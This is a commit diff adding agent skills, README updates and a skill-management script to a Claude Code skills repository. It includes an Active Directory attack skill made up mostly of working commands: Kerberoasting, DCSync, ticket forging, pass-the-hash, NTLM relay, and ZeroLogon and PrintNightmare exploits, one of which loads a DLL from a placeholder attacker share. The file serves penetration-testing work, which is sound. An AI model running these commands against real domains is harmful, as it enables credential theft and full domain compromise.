feat: add claude-code-guide and import security skills

New skills:
- prompt-library: Curated role-based and task-specific prompt templates
- javascript-mastery: 33+ essential JavaScript concepts
- llm-app-patterns: RAG pipelines, agent architectures, LLMOps
- workflow-automation: Multi-step automation and API integration
- autonomous-agent-patterns: Tool design, permissions, browser automation
- bun-development: Bun runtime, testing, bundling, Node.js migration
- github-workflow-automation: AI PR reviews, issue triage, CI/CD

Sources: n8n, awesome-chatgpt-prompts, dify, gemini-cli, bun, 33-js-concepts, cline, codex

Total skills: 62 → 69

.agent/rules/rules.md

@@ -0,0 +1,8 @@
+---
+trigger: always_on
+glob:
+description:
+---
+
+1. alla fine del processo di modifica ricordati di fare il push della repo su github.
+2. ricordati sempre di aggiornare ongi singola parte della repo, dall'inizio alla fine

.github/CODEOWNERS

@@ -0,0 +1,8 @@
+# Global owners
+* @sickn33
+
+# Skills
+/skills/ @sickn33
+
+# Documentation
+*.md @sickn33

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,33 @@
+---
+name: Bug Report
+about: Create a report to help us improve the skills
+title: "[BUG] "
+labels: bug
+assignees: sickn33
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+Steps to reproduce the behavior:
+
+1. Go to '...'
+2. Click on '...'
+3. Scroll down to '...'
+4. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**Environment (please complete the following information):**
+
+- OS: [e.g. macOS, Windows]
+- Tool: [e.g. Claude Code, Antigravity]
+- Version [if known]
+
+**Additional context**
+Add any other context about the problem here.

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,19 @@
+---
+name: Skill Request
+about: Suggest a new skill for the collection
+title: "[REQ] "
+labels: enhancement
+assignees: sickn33
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex: I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A description of the skill you want. What trigger should it have? What files should it effect?
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,18 @@
+## Description
+
+Please describe your changes. What skill are you adding or modifying?
+
+## Checklist
+
+- [ ] My skill follows the [creation guidelines](https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/skill-creator)
+- [ ] I have run `validate_skills.py`
+- [ ] I have added my name to the credits (if applicable)
+
+## Type of Change
+
+- [ ] New Skill
+- [ ] Bug Fix
+- [ ] Documentation Update
+- [ ] Infrastructure
+
+## Screenshots (if applicable)

README.md

@@ -1,17 +1,17 @@
-# 🌌 Antigravity Awesome Skills
+# 🌌 Antigravity Awesome Skills: The Ultimate Claude Code Skills Collection
 
-> **The Ultimate Collection of 60+ Agentic Skills for Claude Code (Antigravity)**
+> **The Ultimate Collection of 130+ Agentic Skills for Claude Code (Antigravity)**
 
 [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
 [![Claude Code](https://img.shields.io/badge/AI-Claude%20Code-purple)](https://claude.ai)
 [![Agentic](https://img.shields.io/badge/Agentic-Framework-blue)](https://github.com/guanyang/antigravity-skills)
 
-**Antigravity Awesome Skills** is a curated, battle-tested collection of **62 high-performance skills** compatible with both **Antigravity** and **Claude Code**, including official skills from **Anthropic** and **Vercel Labs**.
+**Antigravity Awesome Skills** is the ultimate **Claude Code Skills** collection—a curated, battle-tested library of **131 high-performance skills** compatible with both **Antigravity** and **Claude Code**. This repository provides the essential **Claude Code skills** needed to transform your AI assistant into a full-stack digital agency, including official capabilities from **Anthropic** and **Vercel Labs**.
 
 ## 📍 Table of Contents
 
 - [Features & Categories](#features--categories)
-- [Full Skill Registry](#full-skill-registry-6262)
+- [Full Skill Registry](#full-skill-registry-131131)
 - [Installation](#installation)
 - [How to Contribute](#how-to-contribute)
 - [Credits & Sources](#credits--sources)
@@ -36,55 +36,86 @@ The repository is organized into several key areas of expertise:
 
 ---
 
-## Full Skill Registry (62/62)
+## Full Skill Registry (131/131)
 
 Below is the complete list of available skills. Each skill folder contains a `SKILL.md` that can be imported into Antigravity or Claude Code.
 
 > [!NOTE] > **Document Skills**: We provide both **community** and **official Anthropic** versions for DOCX, PDF, PPTX, and XLSX. Locally, the official versions are used by default (via symlinks). In the repository, both versions are available for flexibility.
 
-| Skill Name                       | Description                                                   | Path                                           |
+| Skill Name                         | Description                                                     | Path                                           |
-| :------------------------------- | :------------------------------------------------------------ | :--------------------------------------------- |
+| :--------------------------------- | :-------------------------------------------------------------- | :--------------------------------------------- |
-| **Algorithmic Art**              | Creative generative art using p5.js and seeded randomness.    | `skills/algorithmic-art`                       |
+| **Address GitHub Comments**        | Systematic PR feedback handling using gh CLI.                   | `skills/address-github-comments` ⭐ NEW        |
-| **App Store Optimization**       | Complete ASO toolkit for iOS and Android app performance.     | `skills/app-store-optimization`                |
+| **Algorithmic Art**                | Creative generative art using p5.js and seeded randomness.      | `skills/algorithmic-art`                       |
-| **AWS Pentesting**               | Specialized security assessment for Amazon Web Services.      | `skills/aws-penetration-testing`               |
+| **App Store Optimization**         | Complete ASO toolkit for iOS and Android app performance.       | `skills/app-store-optimization`                |
-| **Backend Guidelines**           | Core architecture patterns for Node/Express microservices.    | `skills/backend-dev-guidelines`                |
+| **Autonomous Agent Patterns**      | Design patterns for autonomous coding agents and tools.         | `skills/autonomous-agent-patterns` ⭐ NEW      |
-| **Brainstorming**                | Requirement discovery and intent exploration framework.       | `skills/brainstorming`                         |
+| **AWS Pentesting**                 | Specialized security assessment for Amazon Web Services.        | `skills/aws-penetration-testing`               |
-| **Brand Guidelines (Anthropic)** | Official Anthropic brand styling and visual standards.        | `skills/brand-guidelines-anthropic` ⭐ NEW     |
+| **Backend Guidelines**             | Core architecture patterns for Node/Express microservices.      | `skills/backend-dev-guidelines`                |
-| **Brand Guidelines (Community)** | Community-contributed brand guidelines and templates.         | `skills/brand-guidelines-community`            |
+| **Claude Code Guide**              | Master guide for configuring and using Claude Code.             | `skills/claude-code-guide` ⭐ NEW              |
-| **Canvas Design**                | Beautiful static visual design in PDF and PNG.                | `skills/canvas-design`                         |
+| **Concise Planning**               | Atomic, actionable task planning and checklists.                | `skills/concise-planning` ⭐ NEW               |
-| **Claude D3.js**                 | Advanced data visualization with D3.js.                       | `skills/claude-d3js-skill`                     |
+| **Brainstorming**                  | Requirement discovery and intent exploration framework.         | `skills/brainstorming`                         |
-| **Content Creator**              | SEO-optimized marketing and brand voice toolkit.              | `skills/content-creator`                       |
+| **Brand Guidelines (Anthropic)**   | Official Anthropic brand styling and visual standards.          | `skills/brand-guidelines-anthropic` ⭐ NEW     |
-| **Core Components**              | Design system tokens and baseline UI patterns.                | `skills/core-components`                       |
+| **Brand Guidelines (Community)**   | Community-contributed brand guidelines and templates.           | `skills/brand-guidelines-community`            |
-| **Doc Co-authoring**             | Structured workflow for technical documentation.              | `skills/doc-coauthoring`                       |
+| **Bun Development**                | Modern JavaScript/TypeScript development with Bun runtime.      | `skills/bun-development` ⭐ NEW                |
-| **DOCX (Official)**              | Official Anthropic MS Word document manipulation.             | `skills/docx-official` ⭐ NEW                  |
+| **Canvas Design**                  | Beautiful static visual design in PDF and PNG.                  | `skills/canvas-design`                         |
-| **Ethical Hacking**              | Comprehensive penetration testing lifecycle methodology.      | `skills/ethical-hacking-methodology`           |
+| **Claude D3.js**                   | Advanced data visualization with D3.js.                         | `skills/claude-d3js-skill`                     |
-| **Frontend Design**              | Production-grade UI component implementation.                 | `skills/frontend-design`                       |
+| **Content Creator**                | SEO-optimized marketing and brand voice toolkit.                | `skills/content-creator`                       |
-| **Frontend Guidelines**          | Modern React/TS development patterns and file structure.      | `skills/frontend-dev-guidelines`               |
+| **Core Components**                | Design system tokens and baseline UI patterns.                  | `skills/core-components`                       |
-| **Git Pushing**                  | Automated staging and conventional commits.                   | `skills/git-pushing`                           |
+| **Dispatching Parallel Agents**    | Work on independent tasks without shared state.                 | `skills/dispatching-parallel-agents`           |
-| **Internal Comms (Anthropic)**   | Official Anthropic corporate communication templates.         | `skills/internal-comms-anthropic` ⭐ NEW       |
+| **Doc Co-authoring**               | Structured workflow for technical documentation.                | `skills/doc-coauthoring`                       |
-| **Internal Comms (Community)**   | Community-contributed communication templates.                | `skills/internal-comms-community`              |
+| **DOCX (Official)**                | Official Anthropic MS Word document manipulation.               | `skills/docx-official` ⭐ NEW                  |
-| **Kaizen**                       | Continuous improvement and error-proofing (Poka-Yoke).        | `skills/kaizen`                                |
+| **Ethical Hacking**                | Comprehensive penetration testing lifecycle methodology.        | `skills/ethical-hacking-methodology`           |
-| **Linux Shell Scripting**        | Production-ready shell scripts for automation.                | `skills/linux-shell-scripting`                 |
+| **Executing Plans**                | Execute written implementation plans in structured sessions.    | `skills/executing-plans`                       |
-| **Loki Mode**                    | Fully autonomous startup development engine.                  | `skills/loki-mode`                             |
+| **File Organizer**                 | Context-aware file organization and duplicate cleanup.          | `skills/file-organizer`                        |
-| **MCP Builder**                  | High-quality Model Context Protocol (MCP) server creation.    | `skills/mcp-builder`                           |
+| **Finishing Dev Branch**           | Structured workflow for merging, PRs, and branch cleanup.       | `skills/finishing-a-development-branch`        |
-| **NotebookLM**                   | Source-grounded querying via Google NotebookLM.               | `skills/notebooklm`                            |
+| **Frontend Design**                | Production-grade UI component implementation.                   | `skills/frontend-design`                       |
-| **PDF (Official)**               | Official Anthropic PDF document manipulation.                 | `skills/pdf-official` ⭐ NEW                   |
+| **Frontend Guidelines**            | Modern React/TS development patterns and file structure.        | `skills/frontend-dev-guidelines`               |
-| **Pentest Checklist**            | Structured security assessment planning and scoping.          | `skills/pentest-checklist`                     |
+| **Git Pushing**                    | Automated staging and conventional commits.                     | `skills/git-pushing`                           |
-| **PPTX (Official)**              | Official Anthropic PowerPoint manipulation.                   | `skills/pptx-official` ⭐ NEW                  |
+| **GitHub Workflow Automation**     | AI-powered PR reviews, issue triage, and CI/CD integration.     | `skills/github-workflow-automation` ⭐ NEW     |
-| **Product Toolkit**              | RICE prioritization and product discovery frameworks.         | `skills/product-manager-toolkit`               |
+| **Internal Comms (Anthropic)**     | Official Anthropic corporate communication templates.           | `skills/internal-comms-anthropic` ⭐ NEW       |
-| **Prompt Engineering**           | Expert patterns for LLM instruction optimization.             | `skills/prompt-engineering`                    |
+| **Internal Comms (Community)**     | Community-contributed communication templates.                  | `skills/internal-comms-community`              |
-| **React Best Practices**         | Vercel's 40+ performance optimization rules for React.        | `skills/react-best-practices` ⭐ NEW (Vercel)  |
+| **JavaScript Mastery**             | 33+ essential JavaScript concepts every developer should know.  | `skills/javascript-mastery` ⭐ NEW             |
-| **React UI Patterns**            | Standardized loading states and error handling for React.     | `skills/react-ui-patterns`                     |
+| **Kaizen**                         | Continuous improvement and error-proofing (Poka-Yoke).          | `skills/kaizen`                                |
-| **Senior Architect**             | Scalable system design and architecture diagrams.             | `skills/senior-architect`                      |
+| **Linux Shell Scripting**          | Production-ready shell scripts for automation.                  | `skills/linux-shell-scripting`                 |
-| **Skill Creator**                | Meta-skill for building high-performance agentic skills.      | `skills/skill-creator`                         |
+| **LLM App Patterns**               | RAG pipelines, agent architectures, and LLMOps patterns.        | `skills/llm-app-patterns` ⭐ NEW               |
-| **Software Architecture**        | Quality-focused design principles and analysis.               | `skills/software-architecture`                 |
+| **Loki Mode**                      | Fully autonomous startup development engine.                    | `skills/loki-mode`                             |
-| **Systematic Debugging**         | Root cause analysis and structured fix verification.          | `skills/systematic-debugging`                  |
+| **MCP Builder**                    | High-quality Model Context Protocol (MCP) server creation.      | `skills/mcp-builder`                           |
-| **TDD**                          | Test-Driven Development workflow and red-green-refactor.      | `skills/test-driven-development`               |
+| **NotebookLM**                     | Source-grounded querying via Google NotebookLM.                 | `skills/notebooklm`                            |
-| **UI/UX Pro Max**                | Advanced design intelligence and 50+ styling options.         | `skills/ui-ux-pro-max`                         |
+| **PDF (Official)**                 | Official Anthropic PDF document manipulation.                   | `skills/pdf-official` ⭐ NEW                   |
-| **Web Artifacts**                | Complex React/Tailwind/Shadcn UI artifact builder.            | `skills/web-artifacts-builder`                 |
+| **Pentest Checklist**              | Structured security assessment planning and scoping.            | `skills/pentest-checklist`                     |
-| **Web Design Guidelines**        | Vercel's 100+ UI/UX audit rules (accessibility, performance). | `skills/web-design-guidelines` ⭐ NEW (Vercel) |
+| **Planning With Files**            | Manus-style file-based planning for complex tasks.              | `skills/planning-with-files`                   |
-| **Webapp Testing**               | Local web application testing with Playwright.                | `skills/webapp-testing`                        |
+| **Playwright Automation**          | Complete browser automation and testing with Playwright.        | `skills/playwright-skill`                      |
-| **XLSX (Official)**              | Official Anthropic Excel spreadsheet manipulation.            | `skills/xlsx-official` ⭐ NEW                  |
+| **PPTX (Official)**                | Official Anthropic PowerPoint manipulation.                     | `skills/pptx-official` ⭐ NEW                  |
+| **Product Toolkit**                | RICE prioritization and product discovery frameworks.           | `skills/product-manager-toolkit`               |
+| **Prompt Engineering**             | Expert patterns for LLM instruction optimization.               | `skills/prompt-engineering`                    |
+| **Prompt Library**                 | Curated role-based and task-specific prompt templates.          | `skills/prompt-library` ⭐ NEW                 |
+| **React Best Practices**           | Vercel's 40+ performance optimization rules for React.          | `skills/react-best-practices` ⭐ NEW (Vercel)  |
+| **React UI Patterns**              | Standardized loading states and error handling for React.       | `skills/react-ui-patterns`                     |
+| **Receiving Code Review**          | Technical verification of code review feedback.                 | `skills/receiving-code-review`                 |
+| **Requesting Code Review**         | Pre-merge requirements verification workflow.                   | `skills/requesting-code-review`                |
+| **Senior Architect**               | Scalable system design and architecture diagrams.               | `skills/senior-architect`                      |
+| **Senior Fullstack**               | Comprehensive fullstack guide (React, Node, Postgres).          | `skills/senior-fullstack`                      |
+| **Skill Creator**                  | Meta-skill for building high-performance agentic skills.        | `skills/skill-creator`                         |
+| **Skill Developer**                | Create and manage skills using Anthropic best practices.        | `skills/skill-developer`                       |
+| **Slack GIF Creator**              | Create animated GIFs optimized for Slack.                       | `skills/slack-gif-creator`                     |
+| **Software Architecture**          | Quality-focused design principles and analysis.                 | `skills/software-architecture`                 |
+| **Subagent Driven Dev**            | Orchestrate independent subtasks in current session.            | `skills/subagent-driven-development`           |
+| **Systematic Debugging**           | Root cause analysis and structured fix verification.            | `skills/systematic-debugging`                  |
+| **TDD**                            | Test-Driven Development workflow and red-green-refactor.        | `skills/test-driven-development`               |
+| **Test Fixing**                    | Systematically fix failing tests using smart error grouping.    | `skills/test-fixing`                           |
+| **Testing Patterns**               | Jest patterns, factories, and TDD workflow strategies.          | `skills/testing-patterns`                      |
+| **Theme Factory**                  | Toolkit for styling artifacts with pre-set or generated themes. | `skills/theme-factory`                         |
+| **Top 100 Vulnerabilities**        | OWASP-aligned web vulnerability taxonomy and mitigations.       | `skills/top-web-vulnerabilities`               |
+| **UI/UX Pro Max**                  | Advanced design intelligence and 50+ styling options.           | `skills/ui-ux-pro-max`                         |
+| **Using Git Worktrees**            | Isolated workspaces for safe feature development.               | `skills/using-git-worktrees`                   |
+| **Using Superpowers**              | Establish skill usage protocols at conversation start.          | `skills/using-superpowers`                     |
+| **Verification Before Completion** | Run verification commands before claiming success.              | `skills/verification-before-completion`        |
+| **Web Artifacts**                  | Complex React/Tailwind/Shadcn UI artifact builder.              | `skills/web-artifacts-builder`                 |
+| **Web Design Guidelines**          | Vercel's 100+ UI/UX audit rules (accessibility, performance).   | `skills/web-design-guidelines` ⭐ NEW (Vercel) |
+| **Webapp Testing**                 | Local web application testing with Playwright.                  | `skills/webapp-testing`                        |
+| **Workflow Automation**            | Multi-step automations, API integration, AI-native pipelines.   | `skills/workflow-automation` ⭐ NEW            |
+| **Writing Plans**                  | Create specs for multi-step tasks before coding.                | `skills/writing-plans`                         |
+| **Writing Skills**                 | Create and verify skills before deployment.                     | `skills/writing-skills`                        |
+| **XLSX (Official)**                | Official Anthropic Excel spreadsheet manipulation.              | `skills/xlsx-official` ⭐ NEW                  |
 
 > [!TIP]
 > Use the `validate_skills.py` script in the `scripts/` directory to ensure all skills are properly formatted and ready for use.
@@ -122,7 +153,9 @@ This collection would not be possible without the incredible work of the Claude
 ### Official Sources
 
 - **[anthropics/skills](https://github.com/anthropics/skills)**: Official Anthropic skills repository - Document manipulation (DOCX, PDF, PPTX, XLSX), Brand Guidelines, Internal Communications.
+- **[anthropics/claude-cookbooks](https://github.com/anthropics/claude-cookbooks)**: Official notebooks and recipes for building with Claude.
 - **[vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)**: Vercel Labs official skills - React Best Practices, Web Design Guidelines.
+- **[openai/skills](https://github.com/openai/skills)**: OpenAI Codex skills catalog - Agent skills, Skill Creator, Concise Planning.
 
 ### Community Contributors
 
@@ -133,6 +166,12 @@ This collection would not be possible without the incredible work of the Claude
 - **[travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills)**: Loki Mode and Playwright integration.
 - **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite.
 - **[alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills)**: Senior Engineering and PM toolkit.
+- **[karanb192/awesome-claude-skills](https://github.com/karanb192/awesome-claude-skills)**: A massive list of verified skills for Claude Code.
+
+### Inspirations
+
+- **[f/awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts)**: Inspiration for the Prompt Library.
+- **[leonardomso/33-js-concepts](https://github.com/leonardomso/33-js-concepts)**: Inspiration for JavaScript Mastery.
 
 ---
 

scripts/skills_manager.py

@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""
+Skills Manager - Easily enable/disable skills locally
+
+Usage:
+  python3 scripts/skills_manager.py list          # List active skills
+  python3 scripts/skills_manager.py disabled      # List disabled skills
+  python3 scripts/skills_manager.py enable SKILL  # Enable a skill
+  python3 scripts/skills_manager.py disable SKILL # Disable a skill
+"""
+
+import sys
+import os
+from pathlib import Path
+
+SKILLS_DIR = Path(__file__).parent.parent / "skills"
+DISABLED_DIR = SKILLS_DIR / ".disabled"
+
+def list_active():
+    """List all active skills"""
+    print("🟢 Active Skills:\n")
+    skills = sorted([d.name for d in SKILLS_DIR.iterdir() 
+                    if d.is_dir() and not d.name.startswith('.')])
+    symlinks = sorted([s.name for s in SKILLS_DIR.iterdir() 
+                      if s.is_symlink()])
+    
+    for skill in skills:
+        print(f"  • {skill}")
+    
+    if symlinks:
+        print("\n📎 Symlinks:")
+        for link in symlinks:
+            target = os.readlink(SKILLS_DIR / link)
+            print(f"  • {link} → {target}")
+    
+    print(f"\n✅ Total: {len(skills)} skills + {len(symlinks)} symlinks")
+
+def list_disabled():
+    """List all disabled skills"""
+    if not DISABLED_DIR.exists():
+        print("❌ No disabled skills directory found")
+        return
+    
+    print("⚪ Disabled Skills:\n")
+    disabled = sorted([d.name for d in DISABLED_DIR.iterdir() if d.is_dir()])
+    
+    for skill in disabled:
+        print(f"  • {skill}")
+    
+    print(f"\n📊 Total: {len(disabled)} disabled skills")
+
+def enable_skill(skill_name):
+    """Enable a disabled skill"""
+    source = DISABLED_DIR / skill_name
+    target = SKILLS_DIR / skill_name
+    
+    if not source.exists():
+        print(f"❌ Skill '{skill_name}' not found in .disabled/")
+        return False
+    
+    if target.exists():
+        print(f"⚠️  Skill '{skill_name}' is already active")
+        return False
+    
+    source.rename(target)
+    print(f"✅ Enabled: {skill_name}")
+    return True
+
+def disable_skill(skill_name):
+    """Disable an active skill"""
+    source = SKILLS_DIR / skill_name
+    target = DISABLED_DIR / skill_name
+    
+    if not source.exists():
+        print(f"❌ Skill '{skill_name}' not found")
+        return False
+    
+    if source.name.startswith('.'):
+        print(f"⚠️  Cannot disable system directory: {skill_name}")
+        return False
+    
+    if source.is_symlink():
+        print(f"⚠️  Cannot disable symlink: {skill_name}")
+        print(f"   (Remove the symlink manually if needed)")
+        return False
+    
+    DISABLED_DIR.mkdir(exist_ok=True)
+    source.rename(target)
+    print(f"✅ Disabled: {skill_name}")
+    return True
+
+def main():
+    if len(sys.argv) < 2:
+        print(__doc__)
+        sys.exit(1)
+    
+    command = sys.argv[1].lower()
+    
+    if command == "list":
+        list_active()
+    elif command == "disabled":
+        list_disabled()
+    elif command == "enable":
+        if len(sys.argv) < 3:
+            print("❌ Usage: skills_manager.py enable SKILL_NAME")
+            sys.exit(1)
+        enable_skill(sys.argv[2])
+    elif command == "disable":
+        if len(sys.argv) < 3:
+            print("❌ Usage: skills_manager.py disable SKILL_NAME")
+            sys.exit(1)
+        disable_skill(sys.argv[2])
+    else:
+        print(f"❌ Unknown command: {command}")
+        print(__doc__)
+        sys.exit(1)
+
+if __name__ == "__main__":
+    main()

skills/.gitignore

@@ -0,0 +1,3 @@
+# Local-only: disabled skills for lean configuration
+# These skills are kept in the repository but disabled locally
+.disabled/

skills/active-directory-attacks/SKILL.md

@@ -0,0 +1,380 @@
+---
+name: Active Directory Attacks
+description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
+---
+
+# Active Directory Attacks
+
+## Purpose
+
+Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
+
+## Inputs/Prerequisites
+
+- Kali Linux or Windows attack platform
+- Domain user credentials (for most attacks)
+- Network access to Domain Controller
+- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
+
+## Outputs/Deliverables
+
+- Domain enumeration data
+- Extracted credentials and hashes
+- Kerberos tickets for impersonation
+- Domain Administrator access
+- Persistent access mechanisms
+
+---
+
+## Essential Tools
+
+| Tool | Purpose |
+|------|---------|
+| BloodHound | AD attack path visualization |
+| Impacket | Python AD attack tools |
+| Mimikatz | Credential extraction |
+| Rubeus | Kerberos attacks |
+| CrackMapExec | Network exploitation |
+| PowerView | AD enumeration |
+| Responder | LLMNR/NBT-NS poisoning |
+
+---
+
+## Core Workflow
+
+### Step 1: Kerberos Clock Sync
+
+Kerberos requires clock synchronization (±5 minutes):
+
+```bash
+# Detect clock skew
+nmap -sT 10.10.10.10 -p445 --script smb2-time
+
+# Fix clock on Linux
+sudo date -s "14 APR 2024 18:25:16"
+
+# Fix clock on Windows
+net time /domain /set
+
+# Fake clock without changing system time
+faketime -f '+8h' <command>
+```
+
+### Step 2: AD Reconnaissance with BloodHound
+
+```bash
+# Start BloodHound
+neo4j console
+bloodhound --no-sandbox
+
+# Collect data with SharpHound
+.\SharpHound.exe -c All
+.\SharpHound.exe -c All --ldapusername user --ldappassword pass
+
+# Python collector (from Linux)
+bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
+```
+
+### Step 3: PowerView Enumeration
+
+```powershell
+# Get domain info
+Get-NetDomain
+Get-DomainSID
+Get-NetDomainController
+
+# Enumerate users
+Get-NetUser
+Get-NetUser -SamAccountName targetuser
+Get-UserProperty -Properties pwdlastset
+
+# Enumerate groups
+Get-NetGroupMember -GroupName "Domain Admins"
+Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
+
+# Find local admin access
+Find-LocalAdminAccess -Verbose
+
+# User hunting
+Invoke-UserHunter
+Invoke-UserHunter -Stealth
+```
+
+---
+
+## Credential Attacks
+
+### Password Spraying
+
+```bash
+# Using kerbrute
+./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
+
+# Using CrackMapExec
+crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
+```
+
+### Kerberoasting
+
+Extract service account TGS tickets and crack offline:
+
+```bash
+# Impacket
+GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.txt
+
+# CrackMapExec
+crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
+
+# Crack with hashcat
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+### AS-REP Roasting
+
+Target accounts with "Do not require Kerberos preauthentication":
+
+```bash
+# Impacket
+GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
+
+# Rubeus
+.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
+
+# Crack with hashcat
+hashcat -m 18200 hashes.txt rockyou.txt
+```
+
+### DCSync Attack
+
+Extract credentials directly from DC (requires Replicating Directory Changes rights):
+
+```bash
+# Impacket
+secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
+
+# Mimikatz
+lsadump::dcsync /domain:domain.local /user:krbtgt
+lsadump::dcsync /domain:domain.local /user:Administrator
+```
+
+---
+
+## Kerberos Ticket Attacks
+
+### Pass-the-Ticket (Golden Ticket)
+
+Forge TGT with krbtgt hash for any user:
+
+```powershell
+# Get krbtgt hash via DCSync first
+# Mimikatz - Create Golden Ticket
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
+
+# Impacket
+ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
+export KRB5CCNAME=Administrator.ccache
+psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
+```
+
+### Silver Ticket
+
+Forge TGS for specific service:
+
+```powershell
+# Mimikatz
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
+```
+
+### Pass-the-Hash
+
+```bash
+# Impacket
+psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+
+# CrackMapExec
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
+```
+
+### OverPass-the-Hash
+
+Convert NTLM hash to Kerberos ticket:
+
+```bash
+# Impacket
+getTGT.py domain.local/user -hashes :NTHASH
+export KRB5CCNAME=user.ccache
+
+# Rubeus
+.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
+```
+
+---
+
+## NTLM Relay Attacks
+
+### Responder + ntlmrelayx
+
+```bash
+# Start Responder (disable SMB/HTTP for relay)
+responder -I eth0 -wrf
+
+# Start relay
+ntlmrelayx.py -tf targets.txt -smb2support
+
+# LDAP relay for delegation attack
+ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
+```
+
+### SMB Signing Check
+
+```bash
+crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
+```
+
+---
+
+## Certificate Services Attacks (AD CS)
+
+### ESC1 - Misconfigured Templates
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
+
+# Exploit ESC1
+certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate with certificate
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
+```
+
+### ESC8 - Web Enrollment Relay
+
+```bash
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+```
+
+---
+
+## Critical CVEs
+
+### ZeroLogon (CVE-2020-1472)
+
+```bash
+# Check vulnerability
+crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
+
+# Exploit
+python3 cve-2020-1472-exploit.py DC01 10.10.10.10
+
+# Extract hashes
+secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
+
+# Restore password (important!)
+python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
+```
+
+### PrintNightmare (CVE-2021-1675)
+
+```bash
+# Check for vulnerability
+rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
+
+# Exploit (requires hosting malicious DLL)
+python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
+```
+
+### samAccountName Spoofing (CVE-2021-42278/42287)
+
+```bash
+# Automated exploitation
+python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
+```
+
+---
+
+## Quick Reference
+
+| Attack | Tool | Command |
+|--------|------|---------|
+| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
+| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
+| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
+| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
+| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
+| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
+
+---
+
+## Constraints
+
+**Must:**
+- Synchronize time with DC before Kerberos attacks
+- Have valid domain credentials for most attacks
+- Document all compromised accounts
+
+**Must Not:**
+- Lock out accounts with excessive password spraying
+- Modify production AD objects without approval
+- Leave Golden Tickets without documentation
+
+**Should:**
+- Run BloodHound for attack path discovery
+- Check for SMB signing before relay attacks
+- Verify patch levels for CVE exploitation
+
+---
+
+## Examples
+
+### Example 1: Domain Compromise via Kerberoasting
+
+```bash
+# 1. Find service accounts with SPNs
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
+
+# 2. Request TGS tickets
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
+
+# 3. Crack tickets
